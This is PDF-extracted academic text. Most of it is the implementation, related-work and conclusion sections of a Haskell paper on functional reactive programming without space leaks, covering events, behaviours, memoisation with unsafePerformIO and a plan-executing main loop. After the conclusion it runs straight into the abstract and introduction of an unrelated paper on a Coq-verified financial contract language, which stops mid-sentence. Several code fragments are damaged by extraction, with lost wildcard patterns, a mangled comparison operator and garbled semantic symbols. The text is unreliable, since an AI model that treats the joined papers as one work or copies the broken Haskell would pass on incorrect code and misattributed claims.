snapshot b e

For example, suppose that, as before, localCoordinates is a behav-
ior that gives Just the local mouse coordinates inside a rectangle
when the mouse is inside that rectangle. We can sample the Maybe
the mouse position inside the rectangle, each time the mouse button
is clicked:

maybeLocalClicks = snapshots localCoordinates clicks

We would now like to filter out the Just values of this event stream.
To define this function, we employ the following helper function:

plan :: E (B a)→ B (E a)
plan e = whenJust

(pure Nothing ‘switch‘ ((Just<$>)<$> e))

This is the the behavior version of planNow : it is similar to snapshot
but the behavior that is sampled is carried inside the given event,
instead of as an separate argument. Armed with plan , we define
filtering out the Just values of an event stream as follows:

catMaybesStream :: Stream (Maybe a)→ Stream a
catMaybesStream (S s) = S loop where

loop :: B (E a)
loop = do e ← s

join <$> plan (nxt <$> e)
nxt :: Maybe a → B (E a)
nxt (Just a) = return (return a)
nxt Nothing = loop

We first obtain the next event from s , which we then plan to process
with nxt . In nxt we see if the given value is Just . If so, we return
this value in an event occurring now. Otherwise, the result should be
the next event in the rest of the steam, which we obtain with loop.
Since s switches as soon as an event occurs, it is already pointing
to the next element. Because nxt <$> e is of type E (B (E a)),
which plan turns to B (E (E a)), we do a join<$> after plan to
join the resulting event.

As an example, we can obtain an event stream that tells us when
the user clicks inside the rectangle by:

localClicks = catMaybesStream maybeLocalClicks

The expression next localClicks then gives the next click inside
the rectangle, carrying the local mouse position at that time. In the

code online, we show the definition of various other functions on
event streams, such as a function that merges two event streams.

5.4 Observing Time Itself
A primitive behavior in Fran is time , which is defined as follows:

time :: B Time
time $ λt → t

This introduces Time as an interface-level type, for example as an
alias for Double, whereas in our interface it is only a set which is
used in the denotational semantics.

Such a function could also be added to our interface, but the
functionality that time provides can also be created using our I/O
interface. By using I/O actions that wait for time to pass, we can
create an behavior that changes often of type:

time :: Now (B Time)

The resulting behavior can then be used to do animation and
approximate integration much like with the original time .

When time is not a primitive, the clock which is used to
drive animations is always explicit, i.e. instead of: animation ::
B Picture , we use animation :: B Time → B Picture. The
timing of the animation can then be adjusted by adjusting the input
behavior of animation . For instance, if the clock is c, then we can
speed up the animation with a factor 2 by passing (2∗)<$>c, instead
of c, to animation . Fran supported an inherently leaky combinator
called timeTransformation that can be used for this purpose when
the clock is implicit.

5.5 The Earliest of Two Events
Fran supported an choice operator, (.|.), which gives the earliest of
two events:

(ta, a) .|. (tb, b) $ if ta 6 tb then (ta, a) else (tb, b)

We do not support this operator because it is not forgetful: we
can observe the ordering on past events. Remembering the order in
which past events occurred would not necessarily lead to space-leaks,
but does require the implementations to remember that ordering (for
example by associating time-stamps with events), which makes
implementations a bit less efficient.

Often we do not want to know the earliest of two past events,
but the earliest of two future events. This can be implemented using
our interface, using the following helper function which converts
an event to a behavior which holds Just if the event occurred, and
Nothing otherwise:

occ :: E a → B (Maybe a)
occ e = pure Nothing ‘switch‘ ((pure ◦ Just)<$> e)

We can then implement a function which almost does the same as
(.|.):

first :: E a → E a → B (E a)
first l r = whenJust (occ r ‘switch‘ ((pure ◦ Just)<$> l))

If only one of the events lies in the past, or both events lie in the
future then the result of binding first l r would be the same as l .|.r .
However, if both events lie in the past, then the result will always
be l . In the case that the ordering on two past events is required,
this can be achieved by binding first l r before both l and r have
occurred and then manually remembering which of the two was
earlier.

6. Implementation
In this section we discuss an implementation of our interface. We
first discuss the implementation of events and then discuss an

308



optimization that makes events more efficient. We then do the
same for behaviors: we first discuss their basic implementation
and afterwards discuss an optimization that makes behaviors more
efficient, in particular allowing us to forget the past. We then
relate our implementation to the denotational semantics, which
shows that these optimizations do not change the meaning of any
program. Afterwards, we show how we can give the illusion of that
computation takes no time. Finally, we discuss how this all comes
together in the implementation of the runNow function and the
main FRP loop.

6.1 Making Events Happen
To implement events and behaviors, we use a monad called M ,
which gives the runtime environment. We will elaborate on this
monad later and will introduce functions for this monad as needed.

Using this M monad, events are defined by the following
datatype, of which the constructor is not exported:

data E a = E {runE :: M (Either (E a) a)}

An event is represented by an M computation that gives Left a
new version of the event, if the event did not occur yet, or Right
the associated value of the event, if the event did occur. In this
subsection, we assume that there is some way to convert a primitive
event, i.e. an event that is the result of async, to this event type. We
explain how this is done in section 6.6. Since the M computation
will give the result or a new version of the event at any time, values
of the E datatype tell us at any point in time whether the event has
already occurred or not.

The definitions of never and the monad instance for events are
as follows:

never = E (return (Left never))

instance Monad E where
return x = E (return (Right x ))
m >>=′ f = E $

runE m >>= λr → case r of
Right x → runE (f x )
Left e ′ → return (Left (e ′ >>=′ f ))

In this section, a prime, such as the prime in >>=′, indicates that the
given definition is not the final definition, but will be adopted later.
We will adopt >>=′ in the next subsection to introduce sharing on
events.

When implementing behaviors, we also need a function that
when given two events, gives an event that occurs when either of
them occurs:

minTime :: E x → E y → E ()
minTime l r = E (merge <$> runE l <*> runE r) where

merge (Right ) = Right ()
merge (Right ) = Right ()
merge (Left l ′) (Left r ′ ) = Left (minTime l ′ r ′)

This function is implementable without tagging each event with a
timestamp, whereas the similar function(.|.) which we discussed in
Section 5.5 is not. The reason for this is that (.|.) tell us which of
the events occurred first, whereas minTime only tells us if either
of the events already occurred.

6.2 Making Efficient Events Happen
The implementation of events as presented in the previous subsection
has a problem: computations on events are not shared. As an
example, suppose we have two events a and b, carrying the value 2
and 3 respectively. Suppose furthermore that there is an expression

e = do x ← a -- step 1
y ← b -- step 2
return (x ∗ y) -- step 3

The problem is that each invocation of runE e will perform all 3
steps. We would like to share the outcome of each step between
invocations of runE e: once step i has executed successfully, no
invocation of runE e should perform step i again.

To achieve such sharing we note that we can create a more
efficient version of an event by applying the following function to
the outcome of runE on that event:

unrunE :: Either (E a) a → E a
unrunE (Left e) = e
unrunE (Right a) = pure a

The resulting event is equal up to time-observation to the original
event, but may be less expensive to compute. For instance, the result
of unrunE <$> runE e after a has occurred, but before b has
occurred, is equivalent to do y ← b; return (2 ∗ y), omitting
step 1. The result of unrunE <$> runE e after both a and b have
occurred is equivalent to return 6, omitting all three steps.

Using the IO monad, we can transform an event to an equivalent
event that always uses the latests, simplest version of the event, by
creating a mutable cell and using that to store the latest version of
an event:

memoEIO :: E a → IO (E a)
memoEIO einit =

do r ← newIORef einit
return (usePrevE r)

usePrevE :: IORef (E a)→ E a
usePrevE r = E $

do e ← liftIO (readIORef r)
res ← runE e
liftIO (writeIORef r (unrunE res))
return res

Where liftIO :: IO a → M a lifts an IO action to an M action.
The mutable cell always contains the latest version of the event:
each time we run the event computation the mutable cell is updated
to the newest version.

However, we do not want the user of the FRP library to have to
manually apply memoEIO using the IO monad for all events. Even
though the M monad allows us to perform IO actions via liftIO ,
we cannot simply create the mutable variable in the M computation
that is contained in the event: each invocation of runE on the
event would then create a separate mutable variable. Instead, we
want a single mutable cell which is shared between invocations of
runE e . Hence, we want to achieve the same effect as memoEIO ,
but without the need for the enclosing IO context. We achieve this
by committing a heinous crime:

memoE :: E a → E a
memoE e = unsafePerformIO $ memoEIO e

If we have a variable x = memoE e, then evaluating the value x
will lead to the creation the reference. Because of regular sharing of
values, x will only be evaluated one, and all invocations of runE x
will share the mutable cell. The only function on events which is
available to the user of the FRP library and benefits from sharing is
>>=. Hence, we introduce sharing on events by redefining >>=:

m >>= f = memoE (m >>=′ f )

In this way, we obtain sharing for each event expression of the form
m >>= f that the user of the FRP library writes.

The sharing of computations on events now follows regular
sharing. As an example, consider two functions:
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z a b = let x = (∗)<$> a <*> b in (x , x )
z ′ a b = ((∗)<$> a <*> b, (∗)<$> a <*> b)

The denotation of these function is the same, but the z will share the
result of computations between both elements of the tuple, whereas
z ′ will not (if the compiler does not perform common subexpression
elimination).

6.3 Behaving as Behaviors
A straightforward implementation of behaviors, as given in the
introduction, is as an initial value and an initial switching event:

data B† a = a ‘Step‘ E (B† a)

This definition does not allow us to forget the past: any reference to
a behavior will prevent garbage collection of the entire history of
the behavior. Instead, we use the following definition, which gives
the current value and the next switching event:

data B a = B {runB :: M (a,E (B a))}
Without the optimization we present in the next subsection, this
definition also does not forget the past: an expression b ‘switch‘ e
will be represented in the same way whether e has occurred or not,
effectively remembering all past values of a behavior in same way
as the Step construction.

With this definition of behaviors, the definition of switch is as
follows:

switch ′ :: B a → E (B a)→ B a
switch ′ b e = B $

runE e >>= λr → case r of
Right x → runB x
Left e ′ → do (h, t)← runB b

return (h, switchE t e ′)

The functions switch ′ uses a helper function, switchE , which gives
the next switching event and has the following type:

switchE :: E (B a)→ E (B a)→ E (B a)

When given two events l and r carrying behaviors, this function
gives the earliest of the events (‘switch‘r)<$> l and r . We imple-
ment this function using minTime:

switchE l r = ((pure ⊥ ‘switch ′‘ l) ‘switch ′‘ r)<$
minTime l r

When this event occurs, either l or r has occurred, and hence we
will never encounter the undefined value: it will immediately be
switched out. If l was first, the event is equal up to observation to
(‘switch ′‘r) <$> l . If r occurred first, then (pure ⊥ ‘switch ′‘ l)
will be immediately switched out, and the result is equal up to
observation to r .

The monad instance for behaviors is probably easiest to under-
stand via its join:

joinB ′ :: B (B a)→ B a
joinB ′ m = B $

do (h, t)← runB m
runB $ h ‘switch ′‘ (joinB ′ <$> t)

This function works as follows: we first sample the outer behavior to
obtain the inner behavior and the next switching event of the outer
behavior. We then act as the inner behavior until the outer behavior
switches, in which case we switch to the new joined behavior. We
can then implement >>= using the standard construction m >>= f =
join (fmap f m), where the functor instance for behaviors is
defined straightforwardly.

To implement whenJust , we need some support from the envi-
ronment: we need to be able to plan to execute an M computation

in the future. For this we provide the following function, of which
we discuss the implementation in Section 6.7:

planM :: E (M a)→ M (E a)

Using this function, whenJust is defined as follows:

whenJust ′ :: B (Maybe a)→ B (E a)
whenJust ′ b = B $

do (h, t)← runB b
case h of

Just x → return (return x ,whenJust ′ <$> t)
Nothing →

do en ← planM (runB ◦ whenJust ′ <$> t)
return (en >>= fst , en >>= snd)

If the value of b is currently Just , we return an event, occurring
now, containing the value from the Just and state that the resulting
behavior will switch when the input behavior switches. If the current
value is Nothing , we plan to re-run whenJust when the input
behavior switches, on event t . This gives us an event en , of type
E (E a,E (B (E a))), which we convert to the desired type
(E a,E (B (E a))) by using the event monad.

6.4 Making Behaviors Behave
The implementation of behaviors developed in the previous sub-
section does not yet forget the past. To forget the past, i.e to not
hold on to references that are no longer needed, we need to mutate
the representation of b ‘switch‘ e after e has happened, such that
we no longer reference b. This is achieved in a similar manner as
introducing sharing on events.

We can create a more efficient version of an behavior, by
applying the following function to the outcome of runB on that
behavior:

unrunB :: (a,E (B a))→ B a
unrunB (h, t) = B $

runE t >>= λx → case x of
Right b → runB b
Left t ′ → return (h, t ′)

In particular, executing unrunB <$> (b ‘switch‘ (pure 1 <$ e)),
after e has occurred will give the behavior pure 1, which does not
contain a reference to the no longer needed value b.

Hence, to forget the past, we only need to ensure that we reuse
previously computed, more efficient versions of behaviors. We
achieve this by defining memoB in much the same way as memoE :

memoBIO :: B a → IO (B a)
memoBIO einit =

do r ← newIORef einit
return (usePrevB r)

usePrevB :: IORef (B a)→ B a
usePrevB r = B $

do b ← liftIO (readIORef r)
res ← runB b
liftIO (writeIORef r (unrunB res))
return res

memoB :: B a → B a
memoB b = unsafePerformIO $ memoBIO b

We then apply memoB to the functions which befenefit from
sharing:

switch b e = memoB (switch ′ b e)
fmap f m = memoB (fmap′ f m)
joinB b = memoB (joinB ′ b)
whenJust b = memoB (whenJust ′ b)
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With optimization

Without optimization

Figure 4. Heap profiles with and without forgetting the past.

As a demonstration of the value of this optimization, consider a
simple program using our interface:

test :: Int → Now (E ())
test n = do b ← count

sample (when ((n ≡)<$> b))

count :: Now (B Int)
count = loop 0 where

loop i = do e ← async (return ())
e ′ ← planNow (loop (i + 1)<$ e)
return (pure i ‘switch‘ e ′)

Which creates a behavior that increases over time, and then ob-
serves when that behavior is equal to n. Note that executing
IO computations with async always takes time, and that hence
async (return ()) is not equal to return ().

Two runs of runNow (test 11000) are shown in Figure 4, one
with the optimization enabled, and one without. The run with the
optimization enabled takes a maximum of about 50k of memory,
whereas the run without the optimization grows to fill about 14Mb.
The run without this optimization enabled also takes much more
time: this is because after n switches, sampling the behavior means
traversing n switches, making the program run in O(n2), whereas
the program with the optimization runs in O(n). This is the reason
that memory in the run without the optimization does not grow
linearly in time: the amount of time each round takes also grows
linearly. This optimization is essential for any practical program, in
the code online we show a simple drawing program that comes to a
grinding halt after a minute or so without it.

6.5 Relation to Denotational Semantics
In this subsection, we state the relation of our implementation to
the denotational semantics, a proof that this relation indeed does
hold is beyond the scope of this paper. To establish this relation, we
need a denotation for the monad M . Like behaviors, M is a reader
monad in time, but this monad does not offer switch or whenJust .
Using the denotation of M as a reader monad in time, we can define
functions that convert the implementations of events and behaviors
to their denotations:

denotE (E m) $
let t $ minSet {t | isRight (runReader m t)}
in if t ≡ ∞ then (∞,⊥)

else (t , fromRight (runReader m t))

data Round
data Clock
data PrimE
newClock :: IO Clock
spawn :: IO a → Clock → IO (PrimE a)
curRound :: Clock → IO Round
waitNextRound :: Clock → IO ()
observeAt :: PrimE a → Round → Maybe a

Figure 5. Rounds and primitive events interface.

denotB (B m) $ λt → fst (runReader m t)

The monad M offers planM , with the following denotation:

planM e $ λn → let (t , x ) $ denotE e
t ′ $ max n t

in (t ′, runReader x t ′)

The implementations of any function f from the interface pre-
sented in Figure 1 should be should be such that the denotation of a
result of the implementation of f , is the equal up to time observa-
tion from any time to taking the denotations of the arguments and
applying the denotational version of f . For example, for switch it
should hold that:

∀t. (denotB b) ‘switch‘ (denotE e) #”=t

denotB (b ‘switch‘ e)

Where the left hand side switch is the denotational version and the
right hand side switch is the implementation version.

Furthermore, the new versions of events and behaviors given
by applying unrunE and unrunB should be equal up to time
observation to the original events and behaviors. More precisely, for
events it should hold that :

∀t. denotE (unrunE (runReader (runE x ) t))
#”=t denotE x

And for behaviors it should hold that:

∀t. denotB (unrunB (runReader (runB x ) t))
#”=t denotB x

This also states that using memoE = id and memoB = id gives
the same result, up to time observation, as using the efficient version
of memoE and memoB . Hence the relation of our implementation
to the denotational semantics tell us that we got away with our
heinous crime: our optimization does not change the results of
programs.

6.6 Primitive Events
In this subsection, we discuss a mechanism to create primitive events,
i.e. events that are the result of an I/O action. The interface we use to
create and observe primitive events is shown in Figure 5. To create
the illusion that actions in the Now monad take zero time, we divide
time into periods called rounds. If a primitive event occurs at a time
t, then it occurs in the first round i, with start time si, such that
t > si. How time is divided into round is controlled by a Clock .
The action spawn runs the given I/O action on a separate thread,
and when it completes, it looks at the given clock and makes the
resulting primitive event (PrimE ) occur in the next round.

The function observeAt gives Just the value of the event if the
it occurred before or in the given round, and Nothing otherwise. It
is safe to implement this as a function, instead of as an action in the
IO monad, for two reasons:
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• A primitive event always occurs in the next round. This guaran-
tees that for any round i, the set of events that occurs before or
in round i does not change after the start of round i.
• The only way to create a value of type Round is via the

curRound function, and hence if we have a Round value for
round i then it is guaranteed that round i already started.

It is however possible to create two clocks and to use a round
obtained from one clock to observe a primitive event created using
the other clock. Our implementation will then simply throw an error,
observing the difference between clocks (they each have a unique
identifier). It is also possible to use ST monad-like techniques to
statically prevent this situation.

When all new I/O actions for the current round have been started,
we can start the next round with waitNextRound . This function
blocks until at least one I/O action, spawned from this clock, has
occurred in the next round. The reason for blocking is that any
change in an event or behavior must come from a primitive event,
and hence blocking until there is at least one new primitive event
saves the effort of re-sampling behaviors and events while there can
be no change.

This interface is implemented by using an MVar containing the
current round, contained in the Clock datatype, which is observed
when an when a spawned I/O action completes. Afterwards, we set
a concurrent flag, which the waitNextRound function blocks on
before it increases the round. A bit of care is then taken to prevent
race conditions.

6.7 Execute Plans, Make Plans, Rinse, Repeat
Globally, the runNow function first executes the initial Now
computation given to it, which leads to starting some I/O actions and
some plans: events of type E (M a) where the M a computation
they carry should be executed as the event has occured. The main
FRP loop then consists of first waiting for some new I/O action to
complete, signaling the next round, after which we try to execute all
plans, which can lead to starting new I/O actions and making new
plans. After we have executed all plans which could be executed in
this round, the loop repeats.

Before we can more precisely define the main FRP loop, we
define need to define the environment, M , that we have been using
in the previous subsections. The environment is defined as a reader
in the clock, so that we can obtain the current round and spawn new
I/O actions, and a writer in plans, so that we can implement the
planM and planNow functions.

type M = WriterT Plans (ReaderT Clock IO)

The definition of the Now monad is a newtype wrapper around
M :

newtype Now a = Now {getNow :: M a }
deriving Monad

Armed with these definitions, we can implement async as follows:

async :: IO a → Now (E a)
async m = Now $ do c ← ask

toE <$> liftIO (spawn c m)

Where toE converts a primitive event to a regular event:

toE :: PrimE a → E a
toE p = E (toEither ◦ (p‘observeAt ‘)<$> getRound)

where toEither Nothing = Left (toE p)
toEither (Just x ) = Right x

getRound = ask >>= liftIO ◦ curRound

data Ref a

makeStrongRef :: a → IO (Ref a)
makeWeakRef :: a → IO (Ref a)
deRef :: Ref a → IO (Maybe a)

Figure 6. Unified interface to weak and strong references.

To implement planM and planNow , we define a plan as an event
carrying an M computation and an IORef telling us whether we
already executed the plan, and if so, its outcome:

data Plan a = Plan (E (M a)) (IORef (Maybe a))

From such a Plan , we can construct an event for its outcome, which
upon inspection checks whether the plan has already been executed,
and if not, tries to execute it now and store the results:

planToEv :: Plan a → E a
planToEv p@(Plan ev ref ) = E $

liftIO (readIORef ref )>>= λpstate →
case pstate of

Just x → return (Right x )
Nothing → runE ev >>= λestate →

case estate of
Left → return $ Left (planToEv p)
Right m → do v ← m

liftIO $ writeIORef ref (Just v)
return $ Right v

To ensure that we execute each plan as soon as the event that
it depends on occurs, the main FRP loop keeps track of all plans
which have not yet executed and tries to execute them each round.
However, plans made by planM only have to be executed if some
other part of the program is interested in (i.e. has a reference to) the
result of the plan. The reason for this is that planM is only used for
the implementation of whenJust , and hence it is guaranteed that
plans made by planM do not produce any side-effects which are
observable by the user of the FRP library. In contrast, plans made
with planNow can lead to arbitrary side-effects, such as sounding
an alarm, and hence must be executed even if no other part of the
program is interested in the result.

By forgetting plans that have no observable side-effects and
that no part of the program is interested in, we can save time, for
executing the plan, and save space, for storing the plan. As executing
plans may lead to new plans, these savings can be quite significant.
To save space and time, we store a weak reference[18] to plans made
with planM , whereas we use an ordinary, strong, reference for plans
made with planNow .

To deal with both types of plans in an uniform matter, we use
the interface for references shown in Figure 6, which unifies weak
and strong references . The function deRef returns Nothing if the
reference was a weak reference and the value it references was
garbage-collected, and Just the value otherwise. The sequence of
plans that we still need to be executed is then represented as follows:

data SomePlan = ∀a. SomePlan (Ref (Plan a))
type Plans = Seq SomePlan

Where is Seq is a sequence datatype. The implementations of planM

and planNow then use weak and strong references respectively:

planM :: E (M a)→ M (E a)
planM e = plan makeWeakRef e

planNow :: E (Now a)→ Now (E a)
planNow e = Now $ plan makeStrongRef $ getNow <$> e

plan :: (∀x. x → IO (Ref x ))→ E (M a)→ M (E a)
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plan makeRef e =
do p ← Plan e <$> liftIO (newIORef Nothing)

pr ← liftIO (makeRef p)
addPlan pr
return (planToEv p)

addPlan :: Ref (Plan a)→ M ()
addPlan = tell ◦ singleton ◦ SomePlan

We now finally arrive at the definition of runNow :

runNow :: Now (E a)→ IO a
runNow (Now m) =

do c ← newClock
runReaderT (runWriterT m >>= mainLoop) c

The runNow function first creates a new clock and executes the
initial Now computation. From this it obtains a tuple containing the
ending event, i.e. the event that breaks the FRP loop, and a sequence
of plans, which we both pass to the main loop.

mainLoop :: (E a,Plans)→ ReaderT Clock IO a
mainLoop (ev , pl) = loop pl where

loop pli =
do (er , ple)← runWriterT (runE ev)

let pl = pli >< ple
case er of

Right x → return x
Left → do endRound

pl ′ ← tryPlans pl
loop pl ′

endRound :: ReaderT Clock IO ()
endRound = ask >>= liftIO ◦ waitNextRound

Each iteration of the main loop first checks if the ending event
occurred. This may lead to some new plans, ple, which we add to
the other plans using sequence concatenation (><). If the ending
event occurred, we break out of the loop and return the value inside
the event. Otherwise, we wait for a new I/O action to complete using
waitNextRound . We then try to run the plans, executing them if
their corresponding event occurred. Executing plans gives a new
sequence of plans pl ′. We pass these plans to the next iteration of
the main loop.

The tryPlans function tries to execute each plan which we did
not execute yet to obtain the plans that should be executed in the next
round. If a plan is still needed (it has not been garbage collected)
and the M computation of the plan has not occurred yet, we add it
to the sequence of plans which should be tried in the next round:

tryPlans :: Plans → ReaderT Clock IO Plans
tryPlans pl = snd <$> runWriterT (mapM tryPlan pl)

tryPlan (SomePlan pr) =
do ps ← liftIO (deRef pr)

case ps of
Just p → do eres ← runE (planToEv p)

case eres of
Right x → return ()
Left → addPlan pr

Nothing → return ()

It might seem from this definition that the order of plans in the
sequence matters, but this is not the case. If a plan, a , depends on
another plan, b, which occurs later in the sequence then a , then
trying plan a will observe the outcome event of plan b, which leads
to trying plan b via planToEv described above. When we arrive at
the position of b in the sequence, we will (redundantly) try b again.

7. Related Work
Elliott presents a modernized version of the FRP interface, that
is not forgetful7, that was the inspiration for the modernized FRP
interface in Section 2. Elliott develops a push-based implementation
for his interface, whereas we use a pull-based implementation which
prevents needless re-computation through sharing.

In a previous paper[20], the first author presented a forgetful
FRP interface without first class behaviors called Monadic FRP. The
actions in the monads in this interface, in contrast to the monads
presented in this paper, take time, leading to a style which can be
more natural when behaviors consist of multiple phases, similar to
the task abstraction[17].

Synchronous dataflow programming languages, such as Lustre[3],
Esterel[2], and Lucid Synchrone[19], also provide a way to program
reactive systems without callbacks, non-determinism and mutable
state. In addition, these languages provide very strong guarantees
on resource and time usage, making them an ideal candidate for
programming embedded systems. As these languages focus on
strong resource and time guarantees, they have never had an issue
with inherently leaky abstractions, even for higher-order dataflow[4]
(where dataflow networks can be sent over dataflow networks).
To make these guarantees, they are more restrictive than the FRP
interface presented in this paper.

In the interface presented in this paper, as well as in Fran and
in Elliott’s modernized FRP interface[7], there is no notion of a
next time step (time does not have to enumerable). In synchronous
dataflow programming, there is a notion of a next time step by the
delay operator.

Solutions to the Space-leak Problem of Fran Arrowized FRP[5,
15] solves the space leak problem of Fran by disallowing behaviors
(called signals in Arrowized FRP) as first class values. Instead, signal
functions, functions from a signal to a signal, are the basic form
of abstraction. These signal functions can be composed using the
Arrow type class interface, augmented with a switching function,
leading to a very different programming style than when behaviors
are first class. The arrow type class, use of signal functions instead
of first class behaviors, and the inclusion of delay signal function
make Arrowized FRP instead very similar to higher-order data-flow
programming.

Krishnaswami[11] presents a programming language with first
class behaviors that bears many similarities to our approach. The
operational semantics of his programming language erases all
past values on each tick of the clock. A specialized type system
ensures that no past values can be accessed, and a proof of the
soundness of this type system is given, also employing Kripke
logical relations. In contrast, in our approach types play no role
in ensuring that old values are not accessed again. Instead, our
approach ensures this by the functions which are available, which
would even provide this guarantee in an untyped setting (provided
that we can keep the implementation of behaviors and events
abstract). Another difference is that Krishnaswami’s programming
language, like dataflow programming, features a delay modality.
Krishnaswami’s programming language allows for the definition
of arbitrary temporal recursive types, i.e. types that are recursive
through time, whereas we only provide behaviors and events. His
programming language also ensures that all loop structures are well-
founded and causal, ensuring that all programs do not get stuck in a
non-productive loop. Our FRP interface ensures that behaviors are
causal in the sense that their value cannot depend on the future, but
does not exclude behaviors that are undefined at points in time. We
do not exclude non-productive loops, as these are not excluded by
our host language Haskell.

7 In particular, his functions join on event streams and accumE and
accumR are not forgetful.
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Patai[16] gives a forgetful interface for higher order stream
programming in Haskell. His interface makes a type level distinction
between streams, and stream generators, i.e. streams of streams. Like
our approach, his interface also ensures that old values of a stream
cannot be accessed again by employing monads, but with a very
different explanation, involving shifting the diagonal of a matrix.

Jeltsch[9] presents an FRP interface for Haskell that employs era
parameters to signal types, which give a static approximation of the
time when the signal is active. Rank-2 types are then used to ensure
that signals which are not from the same era cannot be combined
directly, instead they should be “aged” first, i.e. converted to signals
which have forgotten their past. In contrast to our interface, his
interface makes extensive use of advanced type system features.

I/O in FRP As we state in the introduction, in Arrowized FRP
the I/O is organized in a manner similar to stream based I/O,
which leads to several problems. Winograd-Cort, Lui and Hudak
present an alternative mechanism for I/O in Arrowized FRP, which
allows resources, such as files, screens and MIDI devices, to be
represented as signal functions. To ensure that resources are not
used in undefined ways, for example by sending two picture streams
to the same screen resource, they employ a specialized version of
the Arrow type class where each arrow type is augmented with
a phantom type indicating the set of resources the arrow uses.
They also discuss a special kind of resource called a wormhole,
which allows the communication from one arrow to another without
explicit routing. These techniques solve the issues with modularity
and routing that were present in the standard way of doing I/O
in Arrowized FRP. A limitation of their approach is that for each
resource a separate phantom type must be declared statically and
hence the number of resources in the program cannot change
dynamically. Hence, in contrast to our approach, dynamic resources,
for example for dynamically opened files or dynamically created
widgets, are problematic as each resource needs a separate type and
resources cannot be created from an FRP context.

The Haskell library Reactive banana[1] also partially solves
the problems associated with stream-like I/O. In this interface, the
connection to the outside world is is setup by installing handlers
in the IO monad, which give input event streams and perform
output, when the FRP program is initiated. Like the approach of
Winograd-Cort et. al. this solves the modularity and routing issues,
but because all handler must be installed before starting the FRP
program, dealing with dynamically created resources is problematic.

Czaplicki and Chong[6] present a forgetful first order (no be-
haviors of behaviors) FRP language, called Elm, that also supports
asynchronous I/O in a modular and flexible way. The main differ-
ence with their approach is that we make a clear separation between
pure behaviors and the Now monad. In contrast, in their approach
no such separation is made, each behavior may start I/O.

8. Conclusion
We have presented a new interface for FRP which resembles the
original Fran interface, but whose functions are forgetful, which
means that it is possible to implement them without a space leak.
We have also introduced a new feature to FRP, namely internalized
IO, through means of the Now monad.

We have also shown that the restriction to forgetful functions
does not mean exclusion of interesting programs. Together with
our implementation, which, as experimentally shown, exhibits the
expected absence of space leaks, this provides a principled basis
for practical programming of reactive systems, without callbacks,
non-determinism or mutable state.

There are many interesting directions for future research and
experimentation. A few things we are experimenting with are:

• A MonadFix instance for behaviors, with the usual denotation
for reader monads, such that more recursive behaviors can be
expressed.
• A pure interface for creating events, so that pure parts of reactive

programs can be (automatically) tested.
• A cancel-able version of async where exceptions to the IO

action can be thrown, for example to cancel a chess computation
or to cancel reading in a large file.
• An implementation of this interface where plans are not tried

every round.
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Abstract
Domain-specific languages (DSLs) for complex financial contracts
are in practical use in many banks and financial institutions to-
day. Given the level of automation and pervasiveness of software
in the sector, the financial domain is immensely sensitive to soft-
ware bugs. At the same time, there is an increasing need to analyse
(and report on) the interaction between multiple parties. In this pa-
per, we present a multi-party contract language that rigorously rel-
egates any artefacts of simulation and computation from its core,
which leads to favourable algebraic properties, and therefore al-
lows for formalising domain-specific analyses and transformations
using a proof assistant. At the centre of our formalisation is a sim-
ple denotational semantics independent of any stochastic aspects.
Based on this semantics, we devise certified contract analyses and
transformations. In particular, we give a type system, with an ac-
companying type inference procedure, that statically ensures that
contracts follow the principle of causality. Moreover, we devise a
reduction semantics that allows us to evolve contracts over time, in
accordance with the denotational semantics. From the verified Coq
definitions, we automatically extract a Haskell implementation of
an embedded contract DSL along with the formally verified con-
tract management functionality. This approach opens a road map
towards more reliable contract management software, including the
possibility of analysing contracts based on symbolic instead of nu-
meric methods.

Categories and Subject Descriptors D.3.1 [Programming Lan-
guages]: Formal Definitions and Theory; D.2.4 [Software Engi-
neering]: Software/Program Verification—Correctness proofs

General Terms Languages, Verification

Keywords Domain-Specific Language, Financial Contracts, Coq,
Haskell, Certified Code, Type System, Semantics
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1. Introduction
The modern financial industry is characterised by a large degree of
automation and pervasive use of software for many purposes, span-
ning from day-to-day accounting and management to valuation of
financial derivatives, and even automated high-frequency trading.
To meet the demand for quick time to market, many banks and fi-
nancial institutions today use domain-specific languages (DSLs) to
describe complex financial contracts.

The seminal work by Peyton-Jones, Eber, and Seward on bilat-
eral financial contracts [28] shows how an algebraic approach to
contract specification can be used for valuation of contracts (when
combined with a model of the underlying observables).1 It also in-
troduces a contract management model where contracts gradually
evolve into the empty contract as knowledge of underlying observ-
ables becomes available and decisions are taken.

In almost all prior work on financial contract languages, con-
tracts are modelled as bilateral agreements held by one of the in-
volved parties. In contrast, our approach uses a generalised contract
model where a contract specifies the obligations and rights of po-
tentially many different parties involved in the contract. This gen-
eralisation requires the contract writer to be explicit about parties
involved in transferring rights and assets. The additional dimension
of flexibility allows, for instance, for tools to analyse the effect of
parties defaulting or merging. For valuation purposes, and for other
analyses, a contract can be viewed from the point of view of a par-
ticular party to obtain the classical bilateral contract view. More-
over, portfolios can be expressed simply by composing contracts.
On top of that, the multi-party perspective is required for certain
kinds of risk analyses, demanded by regulatory requirements for
certain financial institutions, such as the daily calculation of Credit
Value Adjustments (CVA) [12].

In view of the pervasive automation in the financial world, con-
ceptual as well as accidental software bugs can have catastrophic
consequences. Financial companies need to trust their software sys-
tems for contract management. For systems where the contracts are
written independently from the underlying contract management
software stack, trust needs to be mitigated at different levels.

First, there is the question whether a particular contract behaves
according to the contract writer’s intent, and in particular, whether
the contract can be executed according to the underlying execu-
tion model. In this paper, we partially address this issue by pro-
viding a type system for the contract language, which guarantees
that contracts can indeed be executed. In particular, the type sys-
tem guarantees causality of contracts, which means that asset trans-

1 The ideas have emerged into the successful company LexiFi, which has
become a leading software provider for a range of financial institutions.
LexiFi is a partner of the HIPERFIT Research Center [6], hosted at DIKU.
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fers cannot depend on a decision or the value of an underlying ob-
servable which will only be available in the future. Similarly, we
demonstrate that essential contract properties can be derived from
symbolic contract specifications alone, and that contract manage-
ment can be described as symbolic goal-directed manipulation of
the contract, avoiding any stochastic aspects, which are often added
to contract languages for valuation purposes.

Second, one may ask whether the implementation of the con-
tract management framework and the accompanying contract anal-
yses behave correctly over time—not only for the common scenar-
ios, but also in all corner cases and for all possible compositions
of contract components. To address this issue, we have based the
symbolic contract management operations and the associated con-
tract analyses on a precise cash-flow semantics for contracts, which
we have modelled and checked using the Coq proof assistant. Us-
ing the code extraction functionality of Coq, the certified contract
analyses and transformations are extracted into a Haskell module,
which serves as the certified core of a financial contract manage-
ment library. The two approaches work hand-in-hand and provide
a highly desirable and highly trustworthy code base.

In summary, the contributions of this paper are the following:

• We present an expressive multi-party contract DSL (Section 2)
and demonstrate that it can express real-world contracts and
